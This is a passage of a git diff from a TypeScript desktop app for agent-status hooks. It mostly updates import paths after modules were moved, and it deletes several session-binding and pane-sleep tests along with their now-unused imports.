- }) -}) diff --git a/src/cli/workspaces/workspace-address.ts b/src/cli/workspaces/workspace-address.ts index 55f62850ca6..ca0055b4ca2 100644 --- a/src/cli/workspaces/workspace-address.ts +++ b/src/cli/workspaces/workspace-address.ts @@ -1,4 +1,7 @@ -import { isUnresolvedOwnerHostId, parseExecutionHostId } from '../../shared/execution-host' +import { + isUnresolvedOwnerHostId, + parseExecutionHostId +} from '../../shared/execution-host/execution-host' import { listEnvironments } from '../../shared/remote-runtime/host-store/runtime-environment-store' import { parseWorkspaceKey } from '../../shared/workspace/identity/workspace-scope' import type { CrossStoreParentRef } from '../../shared/worktree/lineage-types' diff --git a/src/cli/workspaces/worktree-project-target.ts b/src/cli/workspaces/worktree-project-target.ts index 2e2d7be1c54..fbb40b0c4f7 100644 --- a/src/cli/workspaces/worktree-project-target.ts +++ b/src/cli/workspaces/worktree-project-target.ts @@ -1,4 +1,7 @@ -import { normalizeExecutionHostId, type ParsedExecutionHost } from '../../shared/execution-host' +import { + normalizeExecutionHostId, + type ParsedExecutionHost +} from '../../shared/execution-host/execution-host' import type { ProjectHostSetup } from '../../shared/project/project-types' import { hostFilterMatchesHostId, resolveHostFlagTarget } from '../hosts/execution-host-flag' import { findProjectSetups, setupHostId } from '../projects/project-selector' diff --git a/src/main/acp/launch/acp-launch-contract.ts b/src/main/acp/launch/acp-launch-contract.ts index cd55babb0ea..134c16e9153 100644 --- a/src/main/acp/launch/acp-launch-contract.ts +++ b/src/main/acp/launch/acp-launch-contract.ts @@ -1,5 +1,5 @@ import type { AntigravityChatAuthConfig } from '../../../shared/agent-accounts/antigravity/antigravity-chat-auth-config' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { AcpHistoryTurnIdentity } from '../history/acp-history-replay' import type { AcpDialect } from '../acp-dialects/acp-dialect' import type { AcpAccountBinding } from './acp-account-binding' diff --git a/src/main/acp/launch/acp-structured-launch-resolution.ts b/src/main/acp/launch/acp-structured-launch-resolution.ts index 0b53653f72b..8a14d292f19 100644 --- a/src/main/acp/launch/acp-structured-launch-resolution.ts +++ b/src/main/acp/launch/acp-structured-launch-resolution.ts @@ -14,7 +14,7 @@ import { resolveAntigravityChatAuthConfig, type AntigravityChatAuthConfig } from '../../../shared/agent-accounts/antigravity/antigravity-chat-auth-config' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { assertAntigravityChatAuthPublished } from '../../antigravity/antigravity-chat-auth-publication' import { prepareAntigravityAcpProxyEnvironment } from '../../antigravity/antigravity-acp-proxy-environment' import { agentSessionProviderHandleChainHead } from '../../../shared/agent-session/lifecycle/provider-handles/agent-session-provider-handle' diff --git a/src/main/agent-hooks/first-work/first-work-branch-rename.ts b/src/main/agent-hooks/first-work/first-work-branch-rename.ts index 1251ba39eed..08109f093d0 100644 --- a/src/main/agent-hooks/first-work/first-work-branch-rename.ts +++ b/src/main/agent-hooks/first-work/first-work-branch-rename.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { Repo } from '../../../shared/repository/repo-types' import { isFolderRepo } from '../../../shared/repository/repo-kind' import { getRepoIdFromWorktreeId, splitWorktreeIdForFilesystem } from '../../../shared/worktree/id' @@ -14,7 +14,7 @@ import { computeBranchName, getConfiguredBranchPrefix } from '../../ipc/worktree import { gitExecFileAsync } from '../../git/command-runner/git-exec-file' import { resolveLocalGitUsername } from '../../git/repositories/git-username' import { resolveGitRouteForHost } from '../../providers/execution-host-provider-dispatch' -import { getRepoExecutionHostId } from '../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../shared/execution-host/execution-host' import { withCheckoutLock } from '../../git/worktrees/checkout/branch-switch' import { probeBranchUpstream, diff --git a/src/main/agent-hooks/first-work/first-work-folder-rename.ts b/src/main/agent-hooks/first-work/first-work-folder-rename.ts index 0860e0af6de..44f107e6aef 100644 --- a/src/main/agent-hooks/first-work/first-work-folder-rename.ts +++ b/src/main/agent-hooks/first-work/first-work-folder-rename.ts @@ -4,7 +4,10 @@ import { getRepoIdFromWorktreeId, splitWorktreeIdForFilesystem } from '../../../shared/worktree/id' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { planWorktreeFolderRename } from '../../ipc/worktree-folder-rename-target' import { hostWorktreeTargetForRepo } from '../../persistence/host-qualified-worktree-meta' import type { HostWorktreeTarget } from '../../../shared/worktree/host-qualified-identity' diff --git a/src/main/agent-hooks/first-work/first-work-rename-runtime.ts b/src/main/agent-hooks/first-work/first-work-rename-runtime.ts index 97a17ef2a40..4dcdc8aef1f 100644 --- a/src/main/agent-hooks/first-work/first-work-rename-runtime.ts +++ b/src/main/agent-hooks/first-work/first-work-rename-runtime.ts @@ -1,6 +1,6 @@ import { existsSync } from 'node:fs' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId } from '../../../shared/worktree/id' import type { FirstWorkBranchRenameDeps } from './first-work-branch-rename' import { rememberBranchRenameFailureOutput } from './branch-rename-failure-output' diff --git a/src/main/agent-hooks/first-work/testing/first-work-branch-rename-test-harness.ts b/src/main/agent-hooks/first-work/testing/first-work-branch-rename-test-harness.ts index 61f778c5d9b..e1b60f7241f 100644 --- a/src/main/agent-hooks/first-work/testing/first-work-branch-rename-test-harness.ts +++ b/src/main/agent-hooks/first-work/testing/first-work-branch-rename-test-harness.ts @@ -1,5 +1,5 @@ import type { vi } from 'vitest' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../shared/repository/repo-types' import '../../../../shared/worktree/id' import { WORKTREE_ID_SEPARATOR } from '../../../../shared/terminal/pty/lifecycle/pty-session-id-format' diff --git a/src/main/agent-hooks/installation/local-agent-cli-presence.ts b/src/main/agent-hooks/installation/local-agent-cli-presence.ts index 9964aa6481a..7b5a1999928 100644 --- a/src/main/agent-hooks/installation/local-agent-cli-presence.ts +++ b/src/main/agent-hooks/installation/local-agent-cli-presence.ts @@ -9,7 +9,7 @@ import { isSafeExecutableBasename } from '../../../shared/agent-launch/installation/managed-agent-command-token' import type { ManagedAgentHookTarget } from '../../../shared/agent-hook-listener/configuration/managed-agent-hook-targets' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { mapWithConcurrency } from '../../../shared/concurrency/map-with-concurrency' import { hydrateShellPath, diff --git a/src/main/agent-hooks/installation/managed-agent-hook-controls.ts b/src/main/agent-hooks/installation/managed-agent-hook-controls.ts index 399015d8bba..0db4cb6588f 100644 --- a/src/main/agent-hooks/installation/managed-agent-hook-controls.ts +++ b/src/main/agent-hooks/installation/managed-agent-hook-controls.ts @@ -7,7 +7,7 @@ import { isManagedAgentHookTarget } from '../../../shared/agent-hook-listener/configuration/managed-agent-hook-targets' import { normalizeDisabledTuiAgents } from '../../../shared/agent-launch/catalog/tui-agent-selection' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { isAgentStatusHooksEnabled, isAgentStatusHooksEnabledForAgent diff --git a/src/main/agent-hooks/installation/managed-hook-detection-commands.ts b/src/main/agent-hooks/installation/managed-hook-detection-commands.ts index 496487ff3d7..9b1713af685 100644 --- a/src/main/agent-hooks/installation/managed-hook-detection-commands.ts +++ b/src/main/agent-hooks/installation/managed-hook-detection-commands.ts @@ -5,7 +5,7 @@ import { } from '../../../shared/agent-launch/installation/managed-agent-command-token' import { MANAGED_AGENT_HOOK_TARGETS } from '../../../shared/agent-hook-listener/configuration/managed-agent-hook-targets' import { normalizeDisabledTuiAgents } from '../../../shared/agent-launch/catalog/tui-agent-selection' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { TuiAgentDetectionCommand } from '../../../shared/agent-launch/catalog/tui-agent-detection-commands' import { parseClaudeCliVersionOutput } from '../../claude/cli-capabilities/claude-hook-event-versions' diff --git a/src/main/agent-hooks/observations/agent-transition-detector.ts b/src/main/agent-hooks/observations/agent-transition-detector.ts index 1aaa6046d1b..a22260e3eef 100644 --- a/src/main/agent-hooks/observations/agent-transition-detector.ts +++ b/src/main/agent-hooks/observations/agent-transition-detector.ts @@ -14,7 +14,7 @@ import { getConnectionExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { AgentHookServer } from '../server/agent-hook-server' export type AgentTransitionStore = Pick< diff --git a/src/main/agent-hooks/observations/restored-status-dead-terminal-sweep.ts b/src/main/agent-hooks/observations/restored-status-dead-terminal-sweep.ts index 04ea34e0c77..4e057e0cbde 100644 --- a/src/main/agent-hooks/observations/restored-status-dead-terminal-sweep.ts +++ b/src/main/agent-hooks/observations/restored-status-dead-terminal-sweep.ts @@ -2,7 +2,7 @@ import { getConnectionExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../shared/project/groups/project-group-types' import { getRepoIdFromWorktreeId } from '../../../shared/worktree/id' diff --git a/src/main/agent-hooks/server/server-authority-aliases.ts b/src/main/agent-hooks/server/server-authority-aliases.ts index a663630884b..10809b7c8a5 100644 --- a/src/main/agent-hooks/server/server-authority-aliases.ts +++ b/src/main/agent-hooks/server/server-authority-aliases.ts @@ -11,7 +11,7 @@ import { import { parsePaneKey } from '../../../shared/workspace-layout/stable-pane-id' import { PANE_KEY_ALIASES_MAX } from './server-constants' import type { EnrichedAgentHookEventPayload, PaneKeyAliasPersistenceListener } from './server-types' -import type { LegacyPaneKeyAliasEntry } from '../../../shared/persisted-state-types' +import type { LegacyPaneKeyAliasEntry } from '../../../shared/orca-profiles/persisted-state-types' import { isValidPaneKey } from './server-status-identity' import { AgentHookServerAuthorityEvidence } from './server-authority-evidence' diff --git a/src/main/agent-hooks/server/server-cleanup.ts b/src/main/agent-hooks/server/server-cleanup.ts index 62cb0ca7f86..c80272466f2 100644 --- a/src/main/agent-hooks/server/server-cleanup.ts +++ b/src/main/agent-hooks/server/server-cleanup.ts @@ -11,7 +11,7 @@ import { ALL_EXECUTION_HOSTS_SCOPE, parseExecutionHostId, type ExecutionHostScope -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { worktreeIdsEqual } from '../../../shared/worktree/id' import { isLocalHookConnectionId } from '../../../shared/agent-hook-listener/transport/wsl-hook-relay-contract' import type { EnrichedAgentHookEventPayload } from './server-types' diff --git a/src/main/agent-hooks/server/server-state-contract.ts b/src/main/agent-hooks/server/server-state-contract.ts index b2606f79f84..8b2fc3189bb 100644 --- a/src/main/agent-hooks/server/server-state-contract.ts +++ b/src/main/agent-hooks/server/server-state-contract.ts @@ -12,7 +12,7 @@ import type { import type { AgentHookEventPayload } from '../../../shared/agent-hook-listener/listener-event' import type { AgentHookSource } from '../../../shared/agent-hook-listener/transport/agent-hook-relay' import type { AgentStatusClearIpcPayload } from '../../../shared/agent-status/contracts/agent-status-ipc-payload' -import type { LegacyPaneKeyAliasEntry } from '../../../shared/persisted-state-types' +import type { LegacyPaneKeyAliasEntry } from '../../../shared/orca-profiles/persisted-state-types' import type { SpoolRecord } from '../../../shared/agent-hook-listener/transport/agent-hook-spool' import type { diff --git a/src/main/agent-hooks/server/server-types.ts b/src/main/agent-hooks/server/server-types.ts index f744e93298c..3ad4f511ec1 100644 --- a/src/main/agent-hooks/server/server-types.ts +++ b/src/main/agent-hooks/server/server-types.ts @@ -7,7 +7,7 @@ import type { AgentStatusClearIpcPayload } from '../../../shared/agent-status/co import type { AgentStatusState } from '../../../shared/agent-status/contracts/agent-status-types' import type { AgentStatusObservation } from '../../../shared/agent-status/contracts/agent-status-observation' import type { AgentKind } from '../../../shared/telemetry/schemas/telemetry-property-schemas' -import type { LegacyPaneKeyAliasEntry } from '../../../shared/persisted-state-types' +import type { LegacyPaneKeyAliasEntry } from '../../../shared/orca-profiles/persisted-state-types' import type { CodexRemoteRosterAuthority } from '../../../shared/agent-hook-listener/providers/codex/codex-state' import type { AgentHookSource } from '../../../shared/agent-hook-listener/transport/agent-hook-relay' diff --git a/src/main/agent-hooks/server/testing/identity/server-hook-session-binding.test.ts b/src/main/agent-hooks/server/testing/identity/server-hook-session-binding.test.ts index 3f270fb42f5..c81c9fa896e 100644 --- a/src/main/agent-hooks/server/testing/identity/server-hook-session-binding.test.ts +++ b/src/main/agent-hooks/server/testing/identity/server-hook-session-binding.test.ts @@ -1,33 +1,26 @@ -import { readSavedStatus } from '../persistence/last-status.test-fixtures' +import '../persistence/last-status.test-fixtures' import type { BrowserWindow } from 'electron' -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' +import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, expect, it, vi } from 'vitest' import type { AgentStatusIpcPayload } from '../../../../../shared/agent-status/contracts/agent-status-ipc-payload' import type { HookSessionBindingRendererFixture } from '../../../../../shared/agent-hook-listener/state/agent-hook-session-binding.test-fixture' -import { normalizeHookPayload } from '../../../../../shared/agent-hook-listener/normalization/normalize-hook-payload' -import { - createHookListenerState, - admitLegacyAgentStatus -} from '../../../../../shared/agent-hook-listener/listener-state' -import { readAgentProcessPresence } from '../../../../../shared/agent-status/process/agent-process-presence' -import { AGENT_STATUS_2A_CURRENT_PRODUCER_MODE } from '../../../../../shared/agent-status/transport/agent-status-legacy-adapter' -import { getDefaultWorkspaceSession } from '../../../../../shared/constants' -import { buildRelayHookEnvelope } from '../../../../../wsl-guest/agent-hooks/publication/agent-hook-envelope-build' -import { RelayProviderHookNormalization } from '../../../../../wsl-guest/agent-hooks/status/agent-hook-provider-normalization' -import { hookRowPaneResumeRecord } from '../../../../runtime/session-lifecycle/projection/hook-row-pane-resume-record' -import { - hookStatusResumeCommand, - quitResumeRecords, - resumeStatusFromHookRow -} from '../../../../runtime/terminal/stop/hook-status-resume-records' +import '../../../../../shared/agent-hook-listener/normalization/normalize-hook-payload' +import '../../../../../shared/agent-hook-listener/listener-state' +import '../../../../../shared/agent-status/process/agent-process-presence' +import '../../../../../shared/agent-status/transport/agent-status-legacy-adapter' +import '../../../../../shared/orca-profiles/constants' +import '../../../../../wsl-guest/agent-hooks/publication/agent-hook-envelope-build' +import '../../../../../wsl-guest/agent-hooks/status/agent-hook-provider-normalization' +import '../../../../runtime/session-lifecycle/projection/hook-row-pane-resume-record' +import '../../../../runtime/terminal/stop/hook-status-resume-records' import { installMainWindowAgentStatusListeners, clearMainWindowAgentStatusListeners } from '../../../../startup/main-window/main-window-agent-status' import { agentHookServer as server } from '../../agent-hook-server' -import { buildBody, PANE, GOOD_PANE, postHookEvent } from '../server.test-fixtures' +import { buildBody, postHookEvent } from '../server.test-fixtures' const bridge = vi.hoisted(() => ({ send: vi.fn<(channel: string, data: AgentStatusIpcPayload) => void>() @@ -56,10 +49,9 @@ function isRendererFixture(value: unknown): value is HookSessionBindingRendererF if (!isRendererFixture(rendererFixture)) { throw new Error('Missing renderer hook binding assertion fixture') } -const { expectReturnedRenderer } = rendererFixture const ROOT = 'ordinary-root-B' -const CHILD = 'delegated-child-A' + let dir: string beforeEach(async () => { @@ -100,10 +92,7 @@ async function positive(id = ROOT) { user_message: 'continue' }) } -async function childDone() { - await post('hermes', { hook_event_name: 'pre_llm_call', session_id: CHILD, platform: 'subagent' }) - await post('hermes', { hook_event_name: 'on_session_end', session_id: CHILD }) -} + async function nested() { await post('codex', { hook_event_name: 'UserPromptSubmit', @@ -123,86 +112,6 @@ async function tool(id = ROOT) { tool_name: 'delegate_task' }) } -function expectReturned(id = ROOT, agent: 'hermes' | 'antigravity' = 'hermes') { - const data = frame() - expect(data).toMatchObject({ - agentType: agent, - state: 'working', - providerSession: { id }, - paneOwner: { agent, session: id } - }) - expect(server.getStatusSnapshot()[0]?.providerSession?.id).toBe(id) - const tab = expectReturnedRenderer(data, id, agent, PANE, 'wt-1') - const status = resumeStatusFromHookRow(data, undefined) - if (!status) { - throw new Error('No host resume status') - } - const session = { ...getDefaultWorkspaceSession(), tabsByWorktree: { 'wt-1': [tab] } } - const checkpoint = hookStatusResumeCommand({ - status, - session, - worktreeId: 'wt-1', - launchConfigOf: () => undefined - }) - expect(checkpoint?.type === 'sleep' && checkpoint.records[0]?.providerSession.id).toBe(id) - expect( - quitResumeRecords({ - statuses: [status], - session, - worktreeIdOf: () => 'wt-1', - launchConfigOf: () => undefined, - capturedAt: data.receivedAt - })[0]?.providerSession.id - ).toBe(id) - expect( - hookRowPaneResumeRecord({ rows: [data], worktreeId: 'wt-1', tab })?.providerSession.id - ).toBe(id) -} - -it.each(['sessionless', 'replacement', 'positive-after-foreign'] as const)( - 'settles the complete HTTP parent iteration after %s', - async (mode) => { - await post('hermes', { - hook_event_name: 'pre_tool_call', - session_id: ROOT, - tool_name: 'read_file' - }) - expect(frame().paneOwner).toBeUndefined() - const id = mode === 'sessionless' ? ROOT : mode === 'replacement' ? CHILD : 'successor-C' - if (mode === 'replacement') { - await positive(ROOT) - await childDone() - await nested() - } - if (mode === 'positive-after-foreign') { - await post('hermes', { hook_event_name: 'on_session_end', session_id: ROOT }) - await nested() - } - await positive(id) - expect(frame().paneOwner?.session).toBe(id) - // A different child avoids completing the renewed root when it was formerly a child itself. - await post('hermes', { - hook_event_name: 'pre_llm_call', - session_id: 'new-helper', - platform: 'subagent' - }) - await post('hermes', { hook_event_name: 'on_session_end', session_id: 'new-helper' }) - expect(frame().state).toBe('done') - await nested() - await tool('unrecognized-child') - expect(frame().agentType).toBe('codex') - await tool(id) - expectReturned(id) - if (mode === 'sessionless') { - await childDone() - await nested() - } - server.stop() - await restart() - await tool(id) - expectReturned(id) - } -) it('keeps root-own completion terminal even when its binding matches', async () => { await positive() @@ -211,224 +120,3 @@ it('keeps root-own completion terminal even when its binding matches', async () await tool() expect(frame().agentType).toBe('codex') }) - -it('retires the binding on an actual host clear, including through a later foreign row', async () => { - await positive() - await childDone() - server.ingestTerminalStatus({ - paneKey: PANE, - worktreeId: 'wt-1', - origin: 'process', - payload: { agentType: 'hermes', state: 'working', prompt: '' } - }) - expect(server.getStatusSnapshot()[0]?.providerSession).toBeUndefined() - expect(frame().paneOwner).toBeUndefined() - await post('hermes', { hook_event_name: 'on_session_end', session_id: CHILD }) - await nested() - await tool() - expect(frame().agentType).toBe('codex') - server.stop() - await restart() - await tool() - expect(server.getStatusSnapshot()[0]?.providerSession).toBeUndefined() - await positive('fresh-C') - await childDone() - await nested() - await tool('fresh-C') - expectReturned('fresh-C') - server.recordLaunchResumeIdentity({ - paneKey: PANE, - worktreeId: 'wt-1', - agentType: 'hermes', - providerSession: { key: 'session_id', id: 'explicit-seed' }, - launchedAt: frame().receivedAt + 1 - }) - await tool('explicit-seed') - expectReturned('explicit-seed') -}) - -it.each([257, 512])( - 'matches only the actual hook against a %s-character unproven legacy tuple after hydration', - async (length) => { - const id = 'l'.repeat(length) - await positive('b'.repeat(length)) - expect(frame().providerSession?.id).toHaveLength(length) - await childDone() - await nested() - server.stop() - // Exact legacy representation: a helper ID with no positive observation of its own. - const path = join(dir, 'agent-hooks', 'last-status.json') - const saved = JSON.parse(readSavedStatus(path)) - saved.entries[PANE].agentPresence.session = id - // An older build's file wins over the saved rows on the next start. - writeFileSync(path, JSON.stringify(saved)) - await restart() - await tool('different-session') - expect(server.getStatusSnapshot()[0]?.providerSession).toBeUndefined() - await tool(id) - expectReturned(id) - expect(readAgentProcessPresence({ agent: 'hermes', session: id })?.session).toBe(id) - expect(readAgentProcessPresence({ agent: 'antigravity', session: id })?.session).toBe(id) - expect(readAgentProcessPresence({ agent: 'codex', session: id })?.session).toBeUndefined() - } -) - -it('reenters Antigravity from retained first-record authority when that file is temporarily unreadable', async () => { - const transcriptPath = join(dir, 'agy.jsonl') - const origin = { - step_index: 0, - source: 'USER_EXPLICIT', - type: 'USER_INPUT', - content: 'Reply with OK.' - } - const hook = (id: string, extra: Record = {}) => ({ - hook_event_name: 'PreInvocation', - conversationId: id, - transcriptPath, - lastUserInput: 'Reply with OK.', - ...extra - }) - writeFileSync(transcriptPath, `${JSON.stringify(origin)}\n`) - await post('antigravity', hook(ROOT)) - await post( - 'antigravity', - hook(ROOT, { - hook_event_name: 'Stop', - fullyIdle: true, - terminationReason: 'NO_TOOL_CALL', - error: '' - }) - ) - await nested() - const beforeRejectedRoot = server.getStatusSnapshot() - await post('antigravity', hook('rejected-C', { hook_event_name: 'SessionStart' })) - expect(server.getStatusSnapshot()).toEqual(beforeRejectedRoot) - rmSync(transcriptPath) - await post('antigravity', hook('child-A')) - expect(frame().agentType).toBe('codex') - await post('antigravity', hook(ROOT)) - expectReturned(ROOT, 'antigravity') - writeFileSync( - transcriptPath, - `${JSON.stringify({ step_index: 0, source: 'SYSTEM', type: 'SYSTEM_MESSAGE', content: 'sender=parent' })}\n` - ) - const cold = normalizeHookPayload( - createHookListenerState(), - 'antigravity', - buildBody(hook('child-A')), - 'production' - ) - expect(cold?.providerSession).toBeUndefined() -}) - -it('forwards a cold host comparison to the retained canonical binding without creating one', async () => { - await positive() - await childDone() - await nested() - const build = (id: string) => { - const canonical = createHookListenerState() - const event = new RelayProviderHookNormalization().normalize( - canonical, - 'hermes', - buildBody({ hook_event_name: 'post_tool_call', session_id: id, tool_name: 'delegate_task' }), - 'production' - ) - if (!event) { - throw new Error('No cold execution-host tool event') - } - return buildRelayHookEnvelope(event, 'hermes', 'production') - } - for (const id of ['child-A', ROOT]) { - const envelope = build(id) - expect(envelope.agentPresence).toEqual({ agent: 'hermes', session: id }) - expect(envelope.providerSession).toBeUndefined() - server.ingestRemote(envelope, null) - expect(frame().agentType).toBe(id === ROOT ? 'hermes' : 'codex') - } - expectReturned() - server.clearPaneState(PANE) - server.ingestRemote(build('unknown-child'), null) - expect(server.getStatusSnapshot()[0]?.providerSession).toBeUndefined() - expect(frame().paneOwner).toBeUndefined() -}) - -it('rejects an inherited hook and malformed scoped session IDs', () => { - const now = 1_700_000_000_000 - vi.spyOn(Date, 'now').mockReturnValue(now) - const state = createHookListenerState() - const previous = { - paneKey: PANE, - worktreeId: 'wt-1', - connectionId: null, - hostEvidenceObservedAt: now, - agentPresence: { agent: 'hermes', session: ROOT }, - payload: { agentType: 'codex', state: 'working' as const, prompt: 'review' } - } - admitLegacyAgentStatus( - state, - 'main-status-update', - previous, - AGENT_STATUS_2A_CURRENT_PRODUCER_MODE - ) - const body = buildBody({ - hook_event_name: 'pre_tool_call', - session_id: 'mismatch', - tool_name: 'write_file', - user_message: 'poison' - }) - expect(normalizeHookPayload(state, 'hermes', body, 'production')).toBeNull() - for (const session of ['x'.repeat(513), '-option', 'bad\nidentity']) { - expect(readAgentProcessPresence({ agent: 'hermes', session })?.session).toBeUndefined() - expect(readAgentProcessPresence({ agent: 'antigravity', session })?.session).toBeUndefined() - } -}) - -it.each([ - { connectionId: 'other-host', worktreeId: 'wt-1', paneKey: PANE, tabId: 'tab-1' }, - { connectionId: null, worktreeId: 'other-worktree', paneKey: PANE, tabId: 'tab-1' }, - { connectionId: null, worktreeId: 'wt-1', paneKey: GOOD_PANE, tabId: 'tab-good' } -])('does not project a binding across terminal scope %j', async (scope) => { - await positive() - await childDone() - await nested() - const event = normalizeHookPayload( - createHookListenerState(), - 'hermes', - buildBody({ hook_event_name: 'post_tool_call', session_id: ROOT, tool_name: 'delegate_task' }), - 'production' - ) - if (!event) { - throw new Error('Missing scope test tool') - } - server.ingestRemote({ ...buildRelayHookEnvelope(event, 'hermes'), ...scope }, scope.connectionId) - const rows = server.getStatusSnapshotForPane(scope.paneKey) - expect(rows[0]?.providerSession).toBeUndefined() -}) - -it('does not let positive authority bypass a different proven process owner', async () => { - const event = normalizeHookPayload( - createHookListenerState(), - 'claude', - buildBody({ hook_event_name: 'UserPromptSubmit', session_id: 'claude-owner', prompt: 'work' }), - 'production' - ) - if (!event) { - throw new Error('Missing Claude owner event') - } - server.ingestRemote( - { - ...event, - agentPresence: { - agent: 'claude', - sessionOwner: true, - process: { pid: 99, platform: 'linux', startTime: 'start' } - } - }, - null - ) - await positive('cannot-steal') - expect(server.getStatusSnapshot()[0]).toMatchObject({ - agentType: 'claude', - providerSession: { id: 'claude-owner' } - }) -}) diff --git a/src/main/agent-hooks/server/testing/persistence/server-pane-sleep.test.ts b/src/main/agent-hooks/server/testing/persistence/server-pane-sleep.test.ts index 2d6722ddc07..ea8e4cc5a6f 100644 --- a/src/main/agent-hooks/server/testing/persistence/server-pane-sleep.test.ts +++ b/src/main/agent-hooks/server/testing/persistence/server-pane-sleep.test.ts @@ -2,17 +2,14 @@ import { afterEach, beforeEach, expect, it, vi } from 'vitest' import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' -import { getDefaultWorkspaceSession } from '../../../../../shared/constants' -import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume' -import { - applyWorktreeSleepResumeRecords, - captureWorktreeSleepResumeRecords -} from '../../../../runtime/terminal/stop/worktree-sleep-resume-records' -import { nativeChatTranscriptPathOnExecutionHost } from '../../../../native-chat/transcript-filesystem/ssh-transcript-path' -import { nativeChatTranscriptDistro } from '../../../../native-chat/transcript-discovery/native-chat-open-wake' -import { WSL_HOOK_RELAY_CONNECTION_PREFIX } from '../../../../../shared/agent-hook-listener/transport/wsl-hook-relay-contract' +import '../../../../../shared/orca-profiles/constants' + +import '../../../../runtime/terminal/stop/worktree-sleep-resume-records' +import '../../../../native-chat/transcript-filesystem/ssh-transcript-path' +import '../../../../native-chat/transcript-discovery/native-chat-open-wake' +import '../../../../../shared/agent-hook-listener/transport/wsl-hook-relay-contract' import { AgentHookServer, _internals } from '../../agent-hook-server' -import { buildBody, PANE, postHookEvent } from '../server.test-fixtures' +import { PANE } from '../server.test-fixtures' vi.mock('../../../../telemetry/client', () => ({ track: vi.fn() })) vi.mock('../../../../telemetry/cohort-classifier', () => ({ getCohortAtEmit: () => ({}) })) @@ -47,51 +44,6 @@ afterEach(() => { rmSync(home, { recursive: true, force: true }) }) -it.each(['claude', 'codex'] as const)( - 'keeps %s completion through sleep and restart, then retires it on close', - async (agent) => { - const hook = (event: string) => - postHookEvent( - server, - buildBody({ - hook_event_name: event, - session_id: `${agent}-session`, - prompt: 'Finished work' - }), - `/hook/${agent}` - ) - await hook('UserPromptSubmit') - await hook('Stop') - expect(read()).toMatchObject({ state: 'done', agentType: agent }) - const before = read() - stopping = true - await hook('SessionEnd') - server.reconcileEndedProcessForPaneKeys([PANE], { preserveResumeIdentity: true }) - expect(read()).toMatchObject({ state: 'done', prompt: 'Finished work' }) - const emitted = vi.fn() - server.setListener(emitted) - emitted.mockClear() - expect(server.settleTerminalPaneSleep(PANE, 'pty', 'birth')).toBe(true) - expect(read()).toMatchObject({ - state: 'done', - receivedAt: before.receivedAt, - stateStartedAt: before.stateStartedAt, - paneSleep: { ptyId: 'pty', incarnationId: 'birth' } - }) - expect(emitted.mock.calls.filter(([row]) => !row.isReplay)).toHaveLength(0) - server.stop() - vi.useFakeTimers({ toFake: ['Date'] }) - vi.setSystemTime(Date.now() + 8 * 24 * 60 * 60 * 1000) - await server.start({ env: 'production', userDataPath: home }) - expect(read()).toMatchObject({ state: 'done', paneSleep: { ptyId: 'pty' } }) - server.retirePaneAuthority(PANE) - expect(read()).toBeUndefined() - server.stop() - await server.start({ env: 'production', userDataPath: home }) - expect(read()).toBeUndefined() - } -) - it('accepts a genuine providerless completion after stop intent and preserves it through transport loss', () => { const publish = (state: 'working' | 'done') => server.ingestTerminalStatus({ @@ -113,106 +65,6 @@ it('accepts a genuine providerless completion after stop intent and preserves it expect(read()).toBeUndefined() }) -it.each(['idle Codex', 'Claude hook', 'failed resume', 'ordinary exit'] as const)( - 'keeps the correct saved session at the next sleep after %s', - async (wake) => { - const agent = wake === 'Claude hook' ? 'claude' : 'codex' - const hook = async (event: string, pid: number) => { - const response = await postHookEvent( - server, - buildBody( - { - hook_event_name: event, - session_id: 'sleep-session', - source: 'resume', - prompt: 'Finished work' - }, - { - agentProcess: JSON.stringify({ - pid, - platform: process.platform, - startTime: `birth-${pid}` - }) - } - ), - `/hook/${agent}` - ) - expect(response.status).toBe(204) - } - await hook('UserPromptSubmit', 4001) - await hook('Stop', 4001) - const saved: SleepingAgentSessionRecord = { - paneKey: PANE, - tabId: 'tab-1', - worktreeId: 'wt-1', - agent, - providerSession: { key: 'session_id', id: 'sleep-session' }, - prompt: 'Finished work', - state: 'done', - capturedAt: 1, - updatedAt: 1, - origin: 'worktree-sleep', - restoreOnTabOpenOnly: true, - connectionId: null - } - const session = { - ...getDefaultWorkspaceSession(), - sleepingAgentSessionsByPaneKey: { [PANE]: saved } - } - if (wake === 'ordinary exit') { - server.reconcileEndedProcessForPaneKeys([PANE], { - preserveResumeIdentity: true, - endedPresence: { agent: 'codex', ended: true } - }) - } else { - stopping = true - expect(server.settleTerminalPaneSleep(PANE, 'pty', 'birth')).toBe(true) - } - expect(await server.checkAgentPresenceSince(PANE, 0)).toBe('exited') - - stopping = false - 